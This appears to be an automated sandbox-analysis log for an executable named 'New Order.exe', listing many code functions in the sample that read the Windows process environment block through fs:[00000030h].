Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1138B mov eax, dword ptr fs:[00000030h]	2_2_00C1138B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1138B mov eax, dword ptr fs:[00000030h]	2_2_00C1138B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1B390 mov eax, dword ptr fs:[00000030h]	2_2_00C1B390
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C12397 mov eax, dword ptr fs:[00000030h]	2_2_00C12397
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C14BAD mov eax, dword ptr fs:[00000030h]	2_2_00C14BAD
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C14BAD mov eax, dword ptr fs:[00000030h]	2_2_00C14BAD
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C14BAD mov eax, dword ptr fs:[00000030h]	2_2_00C14BAD
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB5BA5 mov eax, dword ptr fs:[00000030h]	2_2_00CB5BA5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB8B58 mov eax, dword ptr fs:[00000030h]	2_2_00CB8B58
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C13B7A mov eax, dword ptr fs:[00000030h]	2_2_00C13B7A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C13B7A mov eax, dword ptr fs:[00000030h]	2_2_00C13B7A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0A309 mov eax, dword ptr fs:[00000030h]	2_2_00C0A309
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA131B mov eax, dword ptr fs:[00000030h]	2_2_00CA131B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEDB60 mov ecx, dword ptr fs:[00000030h]	2_2_00BEDB60
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEF358 mov eax, dword ptr fs:[00000030h]	2_2_00BEF358
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEDB40 mov eax, dword ptr fs:[00000030h]	2_2_00BEDB40
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB8CD6 mov eax, dword ptr fs:[00000030h]	2_2_00CB8CD6
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF849B mov eax, dword ptr fs:[00000030h]	2_2_00BF849B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA14FB mov eax, dword ptr fs:[00000030h]	2_2_00CA14FB
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C66CF0 mov eax, dword ptr fs:[00000030h]	2_2_00C66CF0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C66CF0 mov eax, dword ptr fs:[00000030h]	2_2_00C66CF0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C66CF0 mov eax, dword ptr fs:[00000030h]	2_2_00C66CF0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4496 mov eax, dword ptr fs:[00000030h]	2_2_00CA4496
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4496 mov eax, dword ptr fs:[00000030h]	2_2_00CA4496
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4496 mov eax, dword ptr fs:[00000030h]	2_2_00CA4496
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4496 mov eax, dword ptr fs:[00000030h]	2_2_00CA4496
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4496 mov eax, dword ptr fs:[00000030h]	2_2_00CA4496
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4496 mov eax, dword ptr fs:[00000030h]	2_2_00CA4496
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4496 mov eax, dword ptr fs:[00000030h]	2_2_00CA4496
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4496 mov eax, dword ptr fs:[00000030h]	2_2_00CA4496
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4496 mov eax, dword ptr fs:[00000030h]	2_2_00CA4496
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4496 mov eax, dword ptr fs:[00000030h]	2_2_00CA4496
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4496 mov eax, dword ptr fs:[00000030h]	2_2_00CA4496
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4496 mov eax, dword ptr fs:[00000030h]	2_2_00CA4496
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA4496 mov eax, dword ptr fs:[00000030h]	2_2_00CA4496
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1A44B mov eax, dword ptr fs:[00000030h]	2_2_00C1A44B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C7C450 mov eax, dword ptr fs:[00000030h]	2_2_00C7C450
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C7C450 mov eax, dword ptr fs:[00000030h]	2_2_00C7C450
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0746D mov eax, dword ptr fs:[00000030h]	2_2_00C0746D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B477 mov eax, dword ptr fs:[00000030h]	2_2_00C0B477
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B477 mov eax, dword ptr fs:[00000030h]	2_2_00C0B477
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B477 mov eax, dword ptr fs:[00000030h]	2_2_00C0B477
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B477 mov eax, dword ptr fs:[00000030h]	2_2_00C0B477
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B477 mov eax, dword ptr fs:[00000030h]	2_2_00C0B477
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B477 mov eax, dword ptr fs:[00000030h]	2_2_00C0B477
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B477 mov eax, dword ptr fs:[00000030h]	2_2_00C0B477
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B477 mov eax, dword ptr fs:[00000030h]	2_2_00C0B477
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B477 mov eax, dword ptr fs:[00000030h]	2_2_00C0B477
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B477 mov eax, dword ptr fs:[00000030h]	2_2_00C0B477
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B477 mov eax, dword ptr fs:[00000030h]	2_2_00C0B477
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B477 mov eax, dword ptr fs:[00000030h]	2_2_00C0B477
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1AC7B mov eax, dword ptr fs:[00000030h]	2_2_00C1AC7B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1AC7B mov eax, dword ptr fs:[00000030h]	2_2_00C1AC7B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1AC7B mov eax, dword ptr fs:[00000030h]	2_2_00C1AC7B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1AC7B mov eax, dword ptr fs:[00000030h]	2_2_00C1AC7B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1AC7B mov eax, dword ptr fs:[00000030h]	2_2_00C1AC7B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1AC7B mov eax, dword ptr fs:[00000030h]	2_2_00C1AC7B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1AC7B mov eax, dword ptr fs:[00000030h]	2_2_00C1AC7B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1AC7B mov eax, dword ptr fs:[00000030h]	2_2_00C1AC7B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1AC7B mov eax, dword ptr fs:[00000030h]	2_2_00C1AC7B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1AC7B mov eax, dword ptr fs:[00000030h]	2_2_00C1AC7B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1AC7B mov eax, dword ptr fs:[00000030h]	2_2_00C1AC7B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB740D mov eax, dword ptr fs:[00000030h]	2_2_00CB740D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB740D mov eax, dword ptr fs:[00000030h]	2_2_00CB740D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB740D mov eax, dword ptr fs:[00000030h]	2_2_00CB740D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	2_2_00CA1C06
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	2_2_00CA1C06
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	2_2_00CA1C06
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	2_2_00CA1C06
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	2_2_00CA1C06
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	2_2_00CA1C06
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	2_2_00CA1C06
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	2_2_00CA1C06
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	2_2_00CA1C06
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	2_2_00CA1C06
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	2_2_00CA1C06
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	2_2_00CA1C06
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	2_2_00CA1C06
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	2_2_00CA1C06
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C66C0A mov eax, dword ptr fs:[00000030h]	2_2_00C66C0A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C66C0A mov eax, dword ptr fs:[00000030h]	2_2_00C66C0A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C66C0A mov eax, dword ptr fs:[00000030h]	2_2_00C66C0A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C66C0A mov eax, dword ptr fs:[00000030h]	2_2_00C66C0A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1BC2C mov eax, dword ptr fs:[00000030h]	2_2_00C1BC2C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C66DC9 mov eax, dword ptr fs:[00000030h]	2_2_00C66DC9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C66DC9 mov eax, dword ptr fs:[00000030h]	2_2_00C66DC9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C66DC9 mov eax, dword ptr fs:[00000030h]	2_2_00C66DC9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C66DC9 mov ecx, dword ptr fs:[00000030h]	2_2_00C66DC9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C66DC9 mov eax, dword ptr fs:[00000030h]	2_2_00C66DC9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C66DC9 mov eax, dword ptr fs:[00000030h]	2_2_00C66DC9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CAFDE2 mov eax, dword ptr fs:[00000030h]	2_2_00CAFDE2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CAFDE2 mov eax, dword ptr fs:[00000030h]	2_2_00CAFDE2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CAFDE2 mov eax, dword ptr fs:[00000030h]	2_2_00CAFDE2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CAFDE2 mov eax, dword ptr fs:[00000030h]	2_2_00CAFDE2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE2D8A mov eax, dword ptr fs:[00000030h]	2_2_00BE2D8A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE2D8A mov eax, dword ptr fs:[00000030h]	2_2_00BE2D8A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE2D8A mov eax, dword ptr fs:[00000030h]	2_2_00BE2D8A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE2D8A mov eax, dword ptr fs:[00000030h]	2_2_00BE2D8A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE2D8A mov eax, dword ptr fs:[00000030h]	2_2_00BE2D8A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C98DF1 mov eax, dword ptr fs:[00000030h]	2_2_00C98DF1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C12581 mov eax, dword ptr fs:[00000030h]	2_2_00C12581
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C12581 mov eax, dword ptr fs:[00000030h]	2_2_00C12581
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C12581 mov eax, dword ptr fs:[00000030h]	2_2_00C12581
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C12581 mov eax, dword ptr fs:[00000030h]	2_2_00C12581
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA2D82 mov eax, dword ptr fs:[00000030h]	2_2_00CA2D82
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA2D82 mov eax, dword ptr fs:[00000030h]	2_2_00CA2D82
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA2D82 mov eax, dword ptr fs:[00000030h]	2_2_00CA2D82
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA2D82 mov eax, dword ptr fs:[00000030h]	2_2_00CA2D82
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA2D82 mov eax, dword ptr fs:[00000030h]	2_2_00CA2D82
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA2D82 mov eax, dword ptr fs:[00000030h]	2_2_00CA2D82
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA2D82 mov eax, dword ptr fs:[00000030h]	2_2_00CA2D82
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1FD9B mov eax, dword ptr fs:[00000030h]	2_2_00C1FD9B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1FD9B mov eax, dword ptr fs:[00000030h]	2_2_00C1FD9B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BFD5E0 mov eax, dword ptr fs:[00000030h]	2_2_00BFD5E0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BFD5E0 mov eax, dword ptr fs:[00000030h]	2_2_00BFD5E0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C135A1 mov eax, dword ptr fs:[00000030h]	2_2_00C135A1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB05AC mov eax, dword ptr fs:[00000030h]	2_2_00CB05AC
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB05AC mov eax, dword ptr fs:[00000030h]	2_2_00CB05AC
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C11DB5 mov eax, dword ptr fs:[00000030h]	2_2_00C11DB5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C11DB5 mov eax, dword ptr fs:[00000030h]	2_2_00C11DB5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C11DB5 mov eax, dword ptr fs:[00000030h]	2_2_00C11DB5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C23D43 mov eax, dword ptr fs:[00000030h]	2_2_00C23D43
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C63540 mov eax, dword ptr fs:[00000030h]	2_2_00C63540
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C93D40 mov eax, dword ptr fs:[00000030h]	2_2_00C93D40
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	2_2_00BF3D34
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	2_2_00BF3D34
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	2_2_00BF3D34
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	2_2_00BF3D34
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	2_2_00BF3D34
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	2_2_00BF3D34
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	2_2_00BF3D34
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	2_2_00BF3D34
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	2_2_00BF3D34
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	2_2_00BF3D34
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	2_2_00BF3D34
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	2_2_00BF3D34
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	2_2_00BF3D34
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEAD30 mov eax, dword ptr fs:[00000030h]	2_2_00BEAD30
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C07D50 mov eax, dword ptr fs:[00000030h]	2_2_00C07D50
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0C577 mov eax, dword ptr fs:[00000030h]	2_2_00C0C577
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0C577 mov eax, dword ptr fs:[00000030h]	2_2_00C0C577
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C6A537 mov eax, dword ptr fs:[00000030h]	2_2_00C6A537
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CAE539 mov eax, dword ptr fs:[00000030h]	2_2_00CAE539
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C14D3B mov eax, dword ptr fs:[00000030h]	2_2_00C14D3B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C14D3B mov eax, dword ptr fs:[00000030h]	2_2_00C14D3B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C14D3B mov eax, dword ptr fs:[00000030h]	2_2_00C14D3B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB8D34 mov eax, dword ptr fs:[00000030h]	2_2_00CB8D34
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C28EC7 mov eax, dword ptr fs:[00000030h]	2_2_00C28EC7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C9FEC0 mov eax, dword ptr fs:[00000030h]	2_2_00C9FEC0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C136CC mov eax, dword ptr fs:[00000030h]	2_2_00C136CC
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB8ED6 mov eax, dword ptr fs:[00000030h]	2_2_00CB8ED6
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C116E0 mov ecx, dword ptr fs:[00000030h]	2_2_00C116E0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C7FE87 mov eax, dword ptr fs:[00000030h]	2_2_00C7FE87
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF76E2 mov eax, dword ptr fs:[00000030h]	2_2_00BF76E2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C646A7 mov eax, dword ptr fs:[00000030h]	2_2_00C646A7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB0EA5 mov eax, dword ptr fs:[00000030h]	2_2_00CB0EA5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB0EA5 mov eax, dword ptr fs:[00000030h]	2_2_00CB0EA5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB0EA5 mov eax, dword ptr fs:[00000030h]	2_2_00CB0EA5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CAAE44 mov eax, dword ptr fs:[00000030h]	2_2_00CAAE44
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CAAE44 mov eax, dword ptr fs:[00000030h]	2_2_00CAAE44
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEE620 mov eax, dword ptr fs:[00000030h]	2_2_00BEE620
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0AE73 mov eax, dword ptr fs:[00000030h]	2_2_00C0AE73
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0AE73 mov eax, dword ptr fs:[00000030h]	2_2_00C0AE73
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0AE73 mov eax, dword ptr fs:[00000030h]	2_2_00C0AE73
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0AE73 mov eax, dword ptr fs:[00000030h]	2_2_00C0AE73
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0AE73 mov eax, dword ptr fs:[00000030h]	2_2_00C0AE73
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEC600 mov eax, dword ptr fs:[00000030h]	2_2_00BEC600
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEC600 mov eax, dword ptr fs:[00000030h]	2_2_00BEC600
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BEC600 mov eax, dword ptr fs:[00000030h]	2_2_00BEC600
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C18E00 mov eax, dword ptr fs:[00000030h]	2_2_00C18E00
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CA1608 mov eax, dword ptr fs:[00000030h]	2_2_00CA1608
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF766D mov eax, dword ptr fs:[00000030h]	2_2_00BF766D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1A61C mov eax, dword ptr fs:[00000030h]	2_2_00C1A61C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1A61C mov eax, dword ptr fs:[00000030h]	2_2_00C1A61C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C9FE3F mov eax, dword ptr fs:[00000030h]	2_2_00C9FE3F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF7E41 mov eax, dword ptr fs:[00000030h]	2_2_00BF7E41
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF7E41 mov eax, dword ptr fs:[00000030h]	2_2_00BF7E41
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF7E41 mov eax, dword ptr fs:[00000030h]	2_2_00BF7E41
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF7E41 mov eax, dword ptr fs:[00000030h]	2_2_00BF7E41
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF7E41 mov eax, dword ptr fs:[00000030h]	2_2_00BF7E41
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF7E41 mov eax, dword ptr fs:[00000030h]	2_2_00BF7E41
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BF8794 mov eax, dword ptr fs:[00000030h]	2_2_00BF8794
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C237F5 mov eax, dword ptr fs:[00000030h]	2_2_00C237F5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C67794 mov eax, dword ptr fs:[00000030h]	2_2_00C67794
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C67794 mov eax, dword ptr fs:[00000030h]	2_2_00C67794
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C67794 mov eax, dword ptr fs:[00000030h]	2_2_00C67794
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE4F2E mov eax, dword ptr fs:[00000030h]	2_2_00BE4F2E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BE4F2E mov eax, dword ptr fs:[00000030h]	2_2_00BE4F2E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB8F6A mov eax, dword ptr fs:[00000030h]	2_2_00CB8F6A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB070D mov eax, dword ptr fs:[00000030h]	2_2_00CB070D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00CB070D mov eax, dword ptr fs:[00000030h]	2_2_00CB070D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1A70E mov eax, dword ptr fs:[00000030h]	2_2_00C1A70E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1A70E mov eax, dword ptr fs:[00000030h]	2_2_00C1A70E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0F716 mov eax, dword ptr fs:[00000030h]	2_2_00C0F716
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C7FF10 mov eax, dword ptr fs:[00000030h]	2_2_00C7FF10
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C7FF10 mov eax, dword ptr fs:[00000030h]	2_2_00C7FF10
